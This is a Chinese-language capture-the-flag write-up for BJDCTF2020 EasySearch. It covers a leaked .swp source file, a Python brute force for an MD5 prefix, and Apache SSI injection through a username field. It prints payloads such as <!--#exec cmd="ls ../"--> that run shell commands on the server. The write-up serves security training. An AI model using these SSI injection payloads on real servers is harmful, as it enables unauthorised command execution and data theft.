[BJDCTF2020]EasySearch
作者:互联网
知识点: Apache SSI 远程命令执行漏洞
可以学习一下:Apache SSI 远程命令执行漏洞复现
扫描目录可以看到index.php.swp文件泄露。打开后看到源代码。
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
审计代码。
1、只要用户名不为空,就可以进入下一步。
2、密码md5值的前六位需要等于'6d0bc1'。
3、用户名会被写入一个随机命名的文件。
那首先:
需要先找到一个密码。
目录
代码
import hashlib
t = '6d0bc1'
for i in range(1,10000000):
m = hashlib.md5()
m.update(str(i).encode('utf-8'))
s = m.hexdigest()
if s.startswith(t) :
print(i)
break
结果是2020666,
我们可以将php代码赋值给username,这样php代码就可以获得执行了。
用户名写入,<!--#exec cmd="ls"-->执行命令,
然后抓包,看到可以打开的phtml
看到有很多文件,但是并没有flag文件,我们查看上一层目录。
<!--#exec cmd="ls ../"-->
读flag。
标签:shtml,php,文件,EasySearch,代码,用户名,file,BJDCTF2020 来源: https://blog.csdn.net/qq_25500649/article/details/117789672